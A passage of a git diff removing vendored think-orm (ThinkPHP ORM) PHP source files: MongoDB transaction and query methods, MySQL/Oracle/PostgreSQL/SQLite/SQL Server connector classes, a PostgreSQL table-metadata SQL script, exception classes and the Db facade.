Exception - * @throws AuthenticationException - * @throws InvalidArgumentException - * @throws ConnectionException - * @throws RuntimeException - * @throws BulkWriteException - */ - public function delete(BaseQuery $query): int - { - // 分析查询表达式 - $query->parseOptions(); - - // 生成bulkWrite对象 - $bulk = $this->builder->delete($query); - - // 执行操作 - $writeResult = $this->mongoExecute($query, $bulk); - - $result = $writeResult->getDeletedCount(); - - if ($result) { - $this->db->trigger('after_delete', $query); - } - - return $result; - } - - /** - * 查找记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return array - * @throws ModelNotFoundException - * @throws DataNotFoundException - * @throws AuthenticationException - * @throws InvalidArgumentException - * @throws ConnectionException - * @throws RuntimeException - */ - public function select(BaseQuery $query): array - { - $resultSet = $this->db->trigger('before_select', $query); - - if (!$resultSet) { - $resultSet = $this->mongoQuery($query, function ($query) { - return $this->builder->select($query); - }); - } - - return $resultSet; - } - - /** - * 查找单条记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return array - * @throws ModelNotFoundException - * @throws DataNotFoundException - * @throws AuthenticationException - * @throws InvalidArgumentException - * @throws ConnectionException - * @throws RuntimeException - */ - public function find(BaseQuery $query): array - { - // 事件回调 - $result = $this->db->trigger('before_find', $query); - - if (!$result) { - // 执行查询 - $resultSet = $this->mongoQuery($query, function ($query) { - return $this->builder->select($query, true); - }); - - $result = $resultSet[0] ?? []; - } - - return $result; - } - - /** - * 得到某个字段的值 - * @access public - * @param string $field 字段名 - * @param mixed $default 默认值 - * @return mixed - */ - public function value(BaseQuery $query, string $field, $default = null) - { - $options = $query->parseOptions(); - - if (isset($options['projection'])) { - $query->removeOption('projection'); - } - - $query->setOption('projection', (array) $field); - - if (!empty($options['cache'])) { - $cacheItem = $this->parseCache($query, $options['cache']); - $key = $cacheItem->getKey(); - - if ($this->cache->has($key)) { - return $this->cache->get($key); - } - } - - $mongoQuery = $this->builder->select($query, true); - - if (isset($options['projection'])) { - $query->setOption('projection', $options['projection']); - } else { - $query->removeOption('projection'); - } - - // 执行查询操作 - $resultSet = $this->mongoQuery($query, $mongoQuery); - - if (!empty($resultSet)) { - $data = array_shift($resultSet); - $result = $data[$field]; - } else { - $result = false; - } - - if (isset($cacheItem) && false !== $result) { - // 缓存数据 - $cacheItem->set($result); - $this->cacheData($cacheItem); - } - - return false !== $result ? $result : $default; - } - - /** - * 得到某个列的数组 - * @access public - * @param string $field 字段名 多个字段用逗号分隔 - * @param string $key 索引 - * @return array - */ - public function column(BaseQuery $query, string $field, string $key = ''): array - { - $options = $query->parseOptions(); - - if (isset($options['projection'])) { - $query->removeOption('projection'); - } - - if ($key && '*' != $field) { - $projection = $key . ',' . $field; - } else { - $projection = $field; - } - - $query->field($projection); - - if (!empty($options['cache'])) { - // 判断查询缓存 - $cacheItem = $this->parseCache($query, $options['cache']); - $key = $cacheItem->getKey(); - - if ($this->cache->has($key)) { - return $this->cache->get($key); - } - } - - $mongoQuery = $this->builder->select($query); - - if (isset($options['projection'])) { - $query->setOption('projection', $options['projection']); - } else { - $query->removeOption('projection'); - } - - // 执行查询操作 - $resultSet = $this->mongoQuery($query, $mongoQuery); - - if (('*' == $field || strpos($field, ',')) && $key) { - $result = array_column($resultSet, null, $key); - } elseif (!empty($resultSet)) { - $result = array_column($resultSet, $field, $key); - } else { - $result = []; - } - - if (isset($cacheItem)) { - // 缓存数据 - $cacheItem->set($result); - $this->cacheData($cacheItem); - } - - return $result; - } - - /** - * 执行command - * @access public - * @param BaseQuery $query 查询对象 - * @param string|array|object $command 指令 - * @param mixed $extra 额外参数 - * @param string $db 数据库名 - * @return array - */ - public function cmd(BaseQuery $query, $command, $extra = null, string $db = ''): array - { - if (is_array($command) || is_object($command)) { - - $this->mongoLog('cmd', 'cmd', $command); - - // 直接创建Command对象 - $command = new Command($command); - } else { - // 调用Builder封装的Command对象 - $command = $this->builder->$command($query, $extra); - } - - return $this->command($command, $db); - } - - /** - * 获取数据库字段 - * @access public - * @param mixed $tableName 数据表名 - * @return array - */ - public function getTableFields($tableName): array - { - return []; - } - - /** - * 执行数据库事务 - * @access public - * @param callable $callback 数据操作方法回调 - * @return mixed - * @throws PDOException - * @throws \Exception - * @throws \Throwable - */ - public function transaction(callable $callback) - { - $this->startTrans(); - try { - $result = null; - if (is_callable($callback)) { - $result = call_user_func_array($callback, [$this]); - } - $this->commit(); - return $result; - } catch (\Exception $e) { - $this->rollback(); - throw $e; - } catch (\Throwable $e) { - $this->rollback(); - throw $e; - } - } - - /** - * 启动事务 - * @access public - * @return void - * @throws \PDOException - * @throws \Exception - */ - public function startTrans() - { - $this->initConnect(true); - $this->session_uuid = uniqid(); - $this->sessions[$this->session_uuid] = $this->getMongo()->startSession(); - - $this->sessions[$this->session_uuid]->startTransaction([]); - } - - /** - * 用于非自动提交状态下面的查询提交 - * @access public - * @return void - * @throws PDOException - */ - public function commit() - { - if ($session = $this->getSession()) { - $session->commitTransaction(); - $this->setLastSession(); - } - } - - /** - * 事务回滚 - * @access public - * @return void - * @throws PDOException - */ - public function rollback() - { - if ($session = $this->getSession()) { - $session->abortTransaction(); - $this->setLastSession(); - } - } - - /** - * 结束当前会话,设置上一个会话为当前会话 - * @author klinson - */ - protected function setLastSession() - { - if ($session = $this->getSession()) { - $session->endSession(); - unset($this->sessions[$this->session_uuid]); - if (empty($this->sessions)) { - $this->session_uuid = null; - } else { - end($this->sessions); - $this->session_uuid = key($this->sessions); - } - } - } - - /** - * 获取当前会话 - * @return \MongoDB\Driver\Session|null - * @author klinson - */ - public function getSession() - { - return ($this->session_uuid && isset($this->sessions[$this->session_uuid])) - ? $this->sessions[$this->session_uuid] - : null; - } -} diff --git a/vendor/topthink/think-orm/src/db/connector/Mysql.php b/vendor/topthink/think-orm/src/db/connector/Mysql.php deleted file mode 100644 index 483b447..0000000 --- a/vendor/topthink/think-orm/src/db/connector/Mysql.php +++ /dev/null @@ -1,162 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\connector; - -use PDO; -use think\db\PDOConnection; - -/** - * mysql数据库驱动 - */ -class Mysql extends PDOConnection -{ - - /** - * 解析pdo连接的dsn信息 - * @access protected - * @param array $config 连接信息 - * @return string - */ - protected function parseDsn(array $config): string - { - if (!empty($config['socket'])) { - $dsn = 'mysql:unix_socket=' . $config['socket']; - } elseif (!empty($config['hostport'])) { - $dsn = 'mysql:host=' . $config['hostname'] . ';port=' . $config['hostport']; - } else { - $dsn = 'mysql:host=' . $config['hostname']; - } - $dsn .= ';dbname=' . $config['database']; - - if (!empty($config['charset'])) { - $dsn .= ';charset=' . $config['charset']; - } - - return $dsn; - } - - /** - * 取得数据表的字段信息 - * @access public - * @param string $tableName - * @return array - */ - public function getFields(string $tableName): array - { - [$tableName] = explode(' ', $tableName); - - if (false === strpos($tableName, '`')) { - if (strpos($tableName, '.')) { - $tableName = str_replace('.', '`.`', $tableName); - } - $tableName = '`' . $tableName . '`'; - } - - $sql = 'SHOW FULL COLUMNS FROM ' . $tableName; - $pdo = $this->getPDOStatement($sql); - $result = $pdo->fetchAll(PDO::FETCH_ASSOC); - $info = []; - - if (!empty($result)) { - foreach ($result as $key => $val) { - $val = array_change_key_case($val); - - $info[$val['field']] = [ - 'name' => $val['field'], - 'type' => $val['type'], - 'notnull' => 'NO' == $val['null'], - 'default' => $val['default'], - 'primary' => strtolower($val['key']) == 'pri', - 'autoinc' => strtolower($val['extra']) == 'auto_increment', - 'comment' => $val['comment'], - ]; - } - } - - return $this->fieldCase($info); - } - - /** - * 取得数据库的表信息 - * @access public - * @param string $dbName - * @return array - */ - public function getTables(string $dbName = ''): array - { - $sql = !empty($dbName) ? 'SHOW TABLES FROM ' . $dbName : 'SHOW TABLES '; - $pdo = $this->getPDOStatement($sql); - $result = $pdo->fetchAll(PDO::FETCH_ASSOC); - $info = []; - - foreach ($result as $key => $val) { - $info[$key] = current($val); - } - - return $info; - } - - protected function supportSavepoint(): bool - { - return true; - } - - /** - * 启动XA事务 - * @access public - * @param string $xid XA事务id - * @return void - */ - public function startTransXa(string $xid) - { - $this->initConnect(true); - $this->linkID->exec("XA START '$xid'"); - } - - /** - * 预编译XA事务 - * @access public - * @param string $xid XA事务id - * @return void - */ - public function prepareXa(string $xid) - { - $this->initConnect(true); - $this->linkID->exec("XA END '$xid'"); - $this->linkID->exec("XA PREPARE '$xid'"); - } - - /** - * 提交XA事务 - * @access public - * @param string $xid XA事务id - * @return void - */ - public function commitXa(string $xid) - { - $this->initConnect(true); - $this->linkID->exec("XA COMMIT '$xid'"); - } - - /** - * 回滚XA事务 - * @access public - * @param string $xid XA事务id - * @return void - */ - public function rollbackXa(string $xid) - { - $this->initConnect(true); - $this->linkID->exec("XA ROLLBACK '$xid'"); - } -} diff --git a/vendor/topthink/think-orm/src/db/connector/Oracle.php b/vendor/topthink/think-orm/src/db/connector/Oracle.php deleted file mode 100644 index 236d8bf..0000000 --- a/vendor/topthink/think-orm/src/db/connector/Oracle.php +++ /dev/null @@ -1,117 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\db\connector; - -use PDO; -use think\db\BaseQuery; -use think\db\PDOConnection; - -/** - * Oracle数据库驱动 - */ -class Oracle extends PDOConnection -{ - /** - * 解析pdo连接的dsn信息 - * @access protected - * @param array $config 连接信息 - * @return string - */ - protected function parseDsn(array $config): string - { - $dsn = 'oci:dbname='; - - if (!empty($config['hostname'])) { - // Oracle Instant Client - $dsn .= '//' . $config['hostname'] . ($config['hostport'] ? ':' . $config['hostport'] : '') . '/'; - } - - $dsn .= $config['database']; - - if (!empty($config['charset'])) { - $dsn .= ';charset=' . $config['charset']; - } - - return $dsn; - } - - /** - * 取得数据表的字段信息 - * @access public - * @param string $tableName - * @return array - */ - public function getFields(string $tableName): array - { - [$tableName] = explode(' ', $tableName); - $sql = "select a.column_name,data_type,DECODE (nullable, 'Y', 0, 1) notnull,data_default, DECODE (A .column_name,b.column_name,1,0) pk from all_tab_columns a,(select column_name from all_constraints c, all_cons_columns col where c.constraint_name = col.constraint_name and c.constraint_type = 'P' and c.table_name = '" . strtoupper($tableName) . "' ) b where table_name = '" . strtoupper($tableName) . "' and a.column_name = b.column_name (+)"; - - $pdo = $this->getPDOStatement($sql); - $result = $pdo->fetchAll(PDO::FETCH_ASSOC); - $info = []; - - if ($result) { - foreach ($result as $key => $val) { - $val = array_change_key_case($val); - - $info[$val['column_name']] = [ - 'name' => $val['column_name'], - 'type' => $val['data_type'], - 'notnull' => $val['notnull'], - 'default' => $val['data_default'], - 'primary' => $val['pk'], - 'autoinc' => $val['pk'], - ]; - } - } - - return $this->fieldCase($info); - } - - /** - * 取得数据库的表信息(暂时实现取得用户表信息) - * @access public - * @param string $dbName - * @return array - */ - public function getTables(string $dbName = ''): array - { - $sql = 'select table_name from all_tables'; - $pdo = $this->getPDOStatement($sql); - $result = $pdo->fetchAll(PDO::FETCH_ASSOC); - $info = []; - - foreach ($result as $key => $val) { - $info[$key] = current($val); - } - - return $info; - } - - /** - * 获取最近插入的ID - * @access public - * @param BaseQuery $query 查询对象 - * @param string $sequence 自增序列名 - * @return mixed - */ - public function getLastInsID(BaseQuery $query, string $sequence = null) - { - $pdo = $this->linkID->query("select {$sequence}.currval as id from dual"); - $result = $pdo->fetchColumn(); - - return $result; - } - - protected function supportSavepoint(): bool - { - return true; - } -} diff --git a/vendor/topthink/think-orm/src/db/connector/Pgsql.php b/vendor/topthink/think-orm/src/db/connector/Pgsql.php deleted file mode 100644 index fec8f84..0000000 --- a/vendor/topthink/think-orm/src/db/connector/Pgsql.php +++ /dev/null @@ -1,108 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\db\connector; - -use PDO; -use think\db\PDOConnection; - -/** - * Pgsql数据库驱动 - */ -class Pgsql extends PDOConnection -{ - - /** - * 默认PDO连接参数 - * @var array - */ - protected $params = [ - PDO::ATTR_CASE => PDO::CASE_NATURAL, - PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, - PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL, - PDO::ATTR_STRINGIFY_FETCHES => false, - ]; - - /** - * 解析pdo连接的dsn信息 - * @access protected - * @param array $config 连接信息 - * @return string - */ - protected function parseDsn(array $config): string - { - $dsn = 'pgsql:dbname=' . $config['database'] . ';host=' . $config['hostname']; - - if (!empty($config['hostport'])) { - $dsn .= ';port=' . $config['hostport']; - } - - return $dsn; - } - - /** - * 取得数据表的字段信息 - * @access public - * @param string $tableName - * @return array - */ - public function getFields(string $tableName): array - { - [$tableName] = explode(' ', $tableName); - $sql = 'select fields_name as "field",fields_type as "type",fields_not_null as "null",fields_key_name as "key",fields_default as "default",fields_default as "extra" from table_msg(\'' . $tableName . '\');'; - - $pdo = $this->getPDOStatement($sql); - $result = $pdo->fetchAll(PDO::FETCH_ASSOC); - $info = []; - - if (!empty($result)) { - foreach ($result as $key => $val) { - $val = array_change_key_case($val); - - $info[$val['field']] = [ - 'name' => $val['field'], - 'type' => $val['type'], - 'notnull' => (bool) ('' !== $val['null']), - 'default' => $val['default'], - 'primary' => !empty($val['key']), - 'autoinc' => (0 === strpos($val['extra'], 'nextval(')), - ]; - } - } - - return $this->fieldCase($info); - } - - /** - * 取得数据库的表信息 - * @access public - * @param string $dbName - * @return array - */ - public function getTables(string $dbName = ''): array - { - $sql = "select tablename as Tables_in_test from pg_tables where schemaname ='public'"; - $pdo = $this->getPDOStatement($sql); - $result = $pdo->fetchAll(PDO::FETCH_ASSOC); - $info = []; - - foreach ($result as $key => $val) { - $info[$key] = current($val); - } - - return $info; - } - - protected function supportSavepoint(): bool - { - return true; - } -} diff --git a/vendor/topthink/think-orm/src/db/connector/Sqlite.php b/vendor/topthink/think-orm/src/db/connector/Sqlite.php deleted file mode 100644 index c664f20..0000000 --- a/vendor/topthink/think-orm/src/db/connector/Sqlite.php +++ /dev/null @@ -1,96 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\db\connector; - -use PDO; -use think\db\PDOConnection; - -/** - * Sqlite数据库驱动 - */ -class Sqlite extends PDOConnection -{ - - /** - * 解析pdo连接的dsn信息 - * @access protected - * @param array $config 连接信息 - * @return string - */ - protected function parseDsn(array $config): string - { - $dsn = 'sqlite:' . $config['database']; - - return $dsn; - } - - /** - * 取得数据表的字段信息 - * @access public - * @param string $tableName - * @return array - */ - public function getFields(string $tableName): array - { - [$tableName] = explode(' ', $tableName); - $sql = 'PRAGMA table_info( ' . $tableName . ' )'; - - $pdo = $this->getPDOStatement($sql); - $result = $pdo->fetchAll(PDO::FETCH_ASSOC); - $info = []; - - if (!empty($result)) { - foreach ($result as $key => $val) { - $val = array_change_key_case($val); - - $info[$val['name']] = [ - 'name' => $val['name'], - 'type' => $val['type'], - 'notnull' => 1 === $val['notnull'], - 'default' => $val['dflt_value'], - 'primary' => '1' == $val['pk'], - 'autoinc' => '1' == $val['pk'], - ]; - } - } - - return $this->fieldCase($info); - } - - /** - * 取得数据库的表信息 - * @access public - * @param string $dbName - * @return array - */ - public function getTables(string $dbName = ''): array - { - $sql = "SELECT name FROM sqlite_master WHERE type='table' " - . "UNION ALL SELECT name FROM sqlite_temp_master " - . "WHERE type='table' ORDER BY name"; - - $pdo = $this->getPDOStatement($sql); - $result = $pdo->fetchAll(PDO::FETCH_ASSOC); - $info = []; - - foreach ($result as $key => $val) { - $info[$key] = current($val); - } - - return $info; - } - - protected function supportSavepoint(): bool - { - return true; - } -} diff --git a/vendor/topthink/think-orm/src/db/connector/Sqlsrv.php b/vendor/topthink/think-orm/src/db/connector/Sqlsrv.php deleted file mode 100644 index 63b2df0..0000000 --- a/vendor/topthink/think-orm/src/db/connector/Sqlsrv.php +++ /dev/null @@ -1,122 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\db\connector; - -use PDO; -use think\db\PDOConnection; - -/** - * Sqlsrv数据库驱动 - */ -class Sqlsrv extends PDOConnection -{ - /** - * 默认PDO连接参数 - * @var array - */ - protected $params = [ - PDO::ATTR_CASE => PDO::CASE_NATURAL, - PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, - PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL, - PDO::ATTR_STRINGIFY_FETCHES => false, - ]; - - /** - * 解析pdo连接的dsn信息 - * @access protected - * @param array $config 连接信息 - * @return string - */ - protected function parseDsn(array $config): string - { - $dsn = 'sqlsrv:Database=' . $config['database'] . ';Server=' . $config['hostname']; - - if (!empty($config['hostport'])) { - $dsn .= ',' . $config['hostport']; - } - - return $dsn; - } - - /** - * 取得数据表的字段信息 - * @access public - * @param string $tableName - * @return array - */ - public function getFields(string $tableName): array - { - [$tableName] = explode(' ', $tableName); - - $sql = "SELECT column_name, data_type, column_default, is_nullable - FROM information_schema.tables AS t - JOIN information_schema.columns AS c - ON t.table_catalog = c.table_catalog - AND t.table_schema = c.table_schema - AND t.table_name = c.table_name - WHERE t.table_name = '$tableName'"; - - $pdo = $this->getPDOStatement($sql); - $result = $pdo->fetchAll(PDO::FETCH_ASSOC); - $info = []; - - if (!empty($result)) { - foreach ($result as $key => $val) { - $val = array_change_key_case($val); - - $info[$val['column_name']] = [ - 'name' => $val['column_name'], - 'type' => $val['data_type'], - 'notnull' => (bool) ('' === $val['is_nullable']), // not null is empty, null is yes - 'default' => $val['column_default'], - 'primary' => false, - 'autoinc' => false, - ]; - } - } - - $sql = "SELECT column_name FROM information_schema.key_column_usage WHERE table_name='$tableName'"; - $pdo = $this->linkID->query($sql); - $result = $pdo->fetch(PDO::FETCH_ASSOC); - - if ($result) { - $info[$result['column_name']]['primary'] = true; - } - - return $this->fieldCase($info); - } - - /** - * 取得数据表的字段信息 - * @access public - * @param string $dbName - * @return array - */ - public function getTables(string $dbName = ''): array - { - $sql = "SELECT TABLE_NAME - FROM INFORMATION_SCHEMA.TABLES - WHERE TABLE_TYPE = 'BASE TABLE' - "; - - $pdo = $this->getPDOStatement($sql); - $result = $pdo->fetchAll(PDO::FETCH_ASSOC); - $info = []; - - foreach ($result as $key => $val) { - $info[$key] = current($val); - } - - return $info; - } - -} diff --git a/vendor/topthink/think-orm/src/db/connector/pgsql.sql b/vendor/topthink/think-orm/src/db/connector/pgsql.sql deleted file mode 100644 index e1a09a3..0000000 --- a/vendor/topthink/think-orm/src/db/connector/pgsql.sql +++ /dev/null @@ -1,117 +0,0 @@ -CREATE OR REPLACE FUNCTION pgsql_type(a_type varchar) RETURNS varchar AS -$BODY$ -DECLARE - v_type varchar; -BEGIN - IF a_type='int8' THEN - v_type:='bigint'; - ELSIF a_type='int4' THEN - v_type:='integer'; - ELSIF a_type='int2' THEN - v_type:='smallint'; - ELSIF a_type='bpchar' THEN - v_type:='char'; - ELSE - v_type:=a_type; - END IF; - RETURN v_type; -END; -$BODY$ -LANGUAGE PLPGSQL; - -CREATE TYPE "public"."tablestruct" AS ( - "fields_key_name" varchar(100), - "fields_name" VARCHAR(200), - "fields_type" VARCHAR(20), - "fields_length" BIGINT, - "fields_not_null" VARCHAR(10), - "fields_default" VARCHAR(500), - "fields_comment" VARCHAR(1000) -); - -CREATE OR REPLACE FUNCTION "public"."table_msg" (a_schema_name varchar, a_table_name varchar) RETURNS SETOF "public"."tablestruct" AS -$body$ -DECLARE - v_ret tablestruct; - v_oid oid; - v_sql varchar; - v_rec RECORD; - v_key varchar; -BEGIN - SELECT - pg_class.oid INTO v_oid - FROM - pg_class - INNER JOIN pg_namespace ON (pg_class.relnamespace = pg_namespace.oid AND lower(pg_namespace.nspname) = a_schema_name) - WHERE - pg_class.relname=a_table_name; - IF NOT FOUND THEN - RETURN; - END IF; - - v_sql=' - SELECT - pg_attribute.attname AS fields_name, - pg_attribute.attnum AS fields_index, - pgsql_type(pg_type.typname::varchar) AS fields_type, - pg_attribute.atttypmod-4 as fields_length, - CASE WHEN pg_attribute.attnotnull THEN ''not null'' - ELSE '''' - END AS fields_not_null, - pg_attrdef.adsrc AS fields_default, - pg_description.description AS fields_comment - FROM - pg_attribute - INNER JOIN pg_class ON pg_attribute.attrelid = pg_class.oid - INNER JOIN pg_type ON pg_attribute.atttypid = pg_type.oid - LEFT OUTER JOIN pg_attrdef ON pg_attrdef.adrelid = pg_class.oid AND pg_attrdef.adnum = pg_attribute.attnum - LEFT OUTER JOIN pg_description ON pg_description.objoid = pg_class.oid AND pg_description.objsubid = pg_attribute.attnum - WHERE - pg_attribute.attnum > 0 - AND attisdropped <> ''t'' - AND pg_class.oid = ' || v_oid || ' - ORDER BY pg_attribute.attnum' ; - - FOR v_rec IN EXECUTE v_sql LOOP - v_ret.fields_name=v_rec.fields_name; - v_ret.fields_type=v_rec.fields_type; - IF v_rec.fields_length > 0 THEN - v_ret.fields_length:=v_rec.fields_length; - ELSE - v_ret.fields_length:=NULL; - END IF; - v_ret.fields_not_null=v_rec.fields_not_null; - v_ret.fields_default=v_rec.fields_default; - v_ret.fields_comment=v_rec.fields_comment; - SELECT constraint_name INTO v_key FROM information_schema.key_column_usage WHERE table_schema=a_schema_name AND table_name=a_table_name AND column_name=v_rec.fields_name; - IF FOUND THEN - v_ret.fields_key_name=v_key; - ELSE - v_ret.fields_key_name=''; - END IF; - RETURN NEXT v_ret; - END LOOP; - RETURN ; -END; -$body$ -LANGUAGE 'plpgsql' VOLATILE CALLED ON NULL INPUT SECURITY INVOKER; - -COMMENT ON FUNCTION "public"."table_msg"(a_schema_name varchar, a_table_name varchar) -IS '获得表信息'; - ----重载一个函数 -CREATE OR REPLACE FUNCTION "public"."table_msg" (a_table_name varchar) RETURNS SETOF "public"."tablestruct" AS -$body$ -DECLARE - v_ret tablestruct; -BEGIN - FOR v_ret IN SELECT * FROM table_msg('public',a_table_name) LOOP - RETURN NEXT v_ret; - END LOOP; - RETURN; -END; -$body$ -LANGUAGE 'plpgsql' VOLATILE CALLED ON NULL INPUT SECURITY INVOKER; - -COMMENT ON FUNCTION "public"."table_msg"(a_table_name varchar) -IS '获得表信息'; \ No newline at end of file diff --git a/vendor/topthink/think-orm/src/db/exception/BindParamException.php b/vendor/topthink/think-orm/src/db/exception/BindParamException.php deleted file mode 100644 index 08bb388..0000000 --- a/vendor/topthink/think-orm/src/db/exception/BindParamException.php +++ /dev/null @@ -1,35 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\exception; - -/** - * PDO参数绑定异常 - */ -class BindParamException extends DbException -{ - - /** - * BindParamException constructor. - * @access public - * @param string $message - * @param array $config - * @param string $sql - * @param array $bind - * @param int $code - */ - public function __construct(string $message, array $config, string $sql, array $bind, int $code = 10502) - { - $this->setData('Bind Param', $bind); - parent::__construct($message, $config, $sql, $code); - } -} diff --git a/vendor/topthink/think-orm/src/db/exception/DataNotFoundException.php b/vendor/topthink/think-orm/src/db/exception/DataNotFoundException.php deleted file mode 100644 index d10dd43..0000000 --- a/vendor/topthink/think-orm/src/db/exception/DataNotFoundException.php +++ /dev/null @@ -1,43 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\exception; - -class DataNotFoundException extends DbException -{ - protected $table; - - /** - * DbException constructor. - * @access public - * @param string $message - * @param string $table - * @param array $config - */ - public function __construct(string $message, string $table = '', array $config = []) - { - $this->message = $message; - $this->table = $table; - - $this->setData('Database Config', $config); - } - - /** - * 获取数据表名 - * @access public - * @return string - */ - public function getTable() - { - return $this->table; - } -} diff --git a/vendor/topthink/think-orm/src/db/exception/DbException.php b/vendor/topthink/think-orm/src/db/exception/DbException.php deleted file mode 100644 index 7d1deaa..0000000 --- a/vendor/topthink/think-orm/src/db/exception/DbException.php +++ /dev/null @@ -1,110 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\exception; - -use Exception; - -/** - * Database相关异常处理类 - */ -if (class_exists('think\Exception')) { - class DbException extends \think\Exception - { - /** - * DbException constructor. - * @access public - * @param string $message - * @param array $config - * @param string $sql - * @param int $code - */ - public function __construct(string $message, array $config = [], string $sql = '', int $code = 10500) - { - $this->message = $message; - $this->code = $code; - - $this->setData('Database Status', [ - 'Error Code' => $code, - 'Error Message' => $message, - 'Error SQL' => $sql, - ]); - - unset($config['username'], $config['password']); - $this->setData('Database Config', $config); - } - } -} else { - - class DbException extends Exception - { - /** - * DbException constructor. - * @access public - * @param string $message - * @param array $config - * @param string $sql - * @param int $code - */ - public function __construct(string $message, array $config = [], string $sql = '', int $code = 10500) - { - $this->message = $message; - $this->code = $code; - - $this->setData('Database Status', [ - 'Error Code' => $code, - 'Error Message' => $message, - 'Error SQL' => $sql, - ]); - - unset($config['username'], $config['password']); - $this->setData('Database Config', $config); - } - - /** - * 保存异常页面显示的额外Debug数据 - * @var array - */ - protected $data = []; - - /** - * 设置异常额外的Debug数据 - * 数据将会显示为下面的格式 - * - * Exception Data - * -------------------------------------------------- - * Label 1 - * key1 value1 - * key2 value2 - * Label 2 - * key1 value1 - * key2 value2 - * - * @param string $label 数据分类,用于异常页面显示 - * @param array $data 需要显示的数据,必须为关联数组 - */ - final protected function setData($label, array $data) - { - $this->data[$label] = $data; - } - - /** - * 获取异常额外Debug数据 - * 主要用于输出到异常页面便于调试 - * @return array 由setData设置的Debug数据 - */ - final public function getData() - { - return $this->data; - } - } -} diff --git a/vendor/topthink/think-orm/src/db/exception/InvalidArgumentException.php b/vendor/topthink/think-orm/src/db/exception/InvalidArgumentException.php deleted file mode 100644 index 047e45e..0000000 --- a/vendor/topthink/think-orm/src/db/exception/InvalidArgumentException.php +++ /dev/null @@ -1,21 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); -namespace think\db\exception; - -use Psr\SimpleCache\InvalidArgumentException as SimpleCacheInvalidArgumentInterface; - -/** - * 非法数据异常 - */ -class InvalidArgumentException extends \InvalidArgumentException implements SimpleCacheInvalidArgumentInterface -{ -} diff --git a/vendor/topthink/think-orm/src/db/exception/ModelEventException.php b/vendor/topthink/think-orm/src/db/exception/ModelEventException.php deleted file mode 100644 index 767bc1a..0000000 --- a/vendor/topthink/think-orm/src/db/exception/ModelEventException.php +++ /dev/null @@ -1,19 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\db\exception; - -/** - * 模型事件异常 - */ -class ModelEventException extends DbException -{ -} diff --git a/vendor/topthink/think-orm/src/db/exception/ModelNotFoundException.php b/vendor/topthink/think-orm/src/db/exception/ModelNotFoundException.php deleted file mode 100644 index 84a1525..0000000 --- a/vendor/topthink/think-orm/src/db/exception/ModelNotFoundException.php +++ /dev/null @@ -1,44 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\exception; - -class ModelNotFoundException extends DbException -{ - protected $model; - - /** - * 构造方法 - * @access public - * @param string $message - * @param string $model - * @param array $config - */ - public function __construct(string $message, string $model = '', array $config = []) - { - $this->message = $message; - $this->model = $model; - - $this->setData('Database Config', $config); - } - - /** - * 获取模型类名 - * @access public - * @return string - */ - public function getModel() - { - return $this->model; - } - -} diff --git a/vendor/topthink/think-orm/src/db/exception/PDOException.php b/vendor/topthink/think-orm/src/db/exception/PDOException.php deleted file mode 100644 index 41c0d73..0000000 --- a/vendor/topthink/think-orm/src/db/exception/PDOException.php +++ /dev/null @@ -1,41 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\exception; - -/** - * PDO异常处理类 - * 重新封装了系统的\PDOException类 - */ -class PDOException extends DbException -{ - /** - * PDOException constructor. - * @access public - * @param \PDOException $exception - * @param array $config - * @param string $sql - * @param int $code - */ - public function __construct(\PDOException $exception, array $config = [], string $sql = '', int $code = 10501) - { - $error = $exception->errorInfo; - - $this->setData('PDO Error Info', [ - 'SQLSTATE' => $error[0], - 'Driver Error Code' => isset($error[1]) ? $error[1] : 0, - 'Driver Error Message' => isset($error[2]) ? $error[2] : '', - ]); - - parent::__construct($exception->getMessage(), $config, $sql, $code); - } -} diff --git a/vendor/topthink/think-orm/src/facade/Db.php b/vendor/topthink/think-orm/src/facade/Db.php deleted file mode 100644 index 174a4f0..0000000 --- a/vendor/topthink/think-orm/src/facade/Db.php +++ /dev/null @@ -1,86 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\facade; - -if (class_exists('think\Facade')) { - class Facade extends \think\Facade - {} -} else { - class Facade - { - /** - * 始终创建新的对象实例 - * @var bool - */ - protected static $alwaysNewInstance; - - protected static $instance; - - /** - * 获取当前Facade对应类名 - * @access protected - * @return string - */ - protected static function getFacadeClass() - {} - - /** - * 创建Facade实例 - * @static - * @access protected - * @param bool $newInstance 是否每次创建新的实例 - * @return object - */ - protected static function createFacade(bool $newInstance = false) - { - $class = static::getFacadeClass() ?: 'think\DbManager'; - - if (static::$alwaysNewInstance) { - $newInstance = true; - } - - if ($newInstance) { - return new $class(); - } - - if (!self::$instance) { - self::$instance = new $class(); - } - - return self::$instance; - - } - - // 调用实际类的方法 - public static function __callStatic($method, $params) - { - return call_user_func_array([static::createFacade(), $method], $params); - } - } -} - -/** - * @see \think\DbManager - * @mixin \think\DbManager - */ -class Db extends Facade -{ - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'think\DbManager'; - } -} diff --git a/vendor/topthink/think-orm/src/model/Collection.php b/vendor/topthink/think-orm/src/model/Collection.php deleted file mode 100644 index fd54272..0000000 --- a/vendor/topthink/think-orm/src/model/Collection.php +++ /dev/null @@ -1,250 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\model; - -use think\Collection as BaseCollection; -use think\Model; -use think\Paginator; - -/** - * 模型数据集类 - */ -class Collection extends BaseCollection -{ - /** - * 延迟预载入关联查询 - * @access public - * @param array|string $relation 关联 - * @param 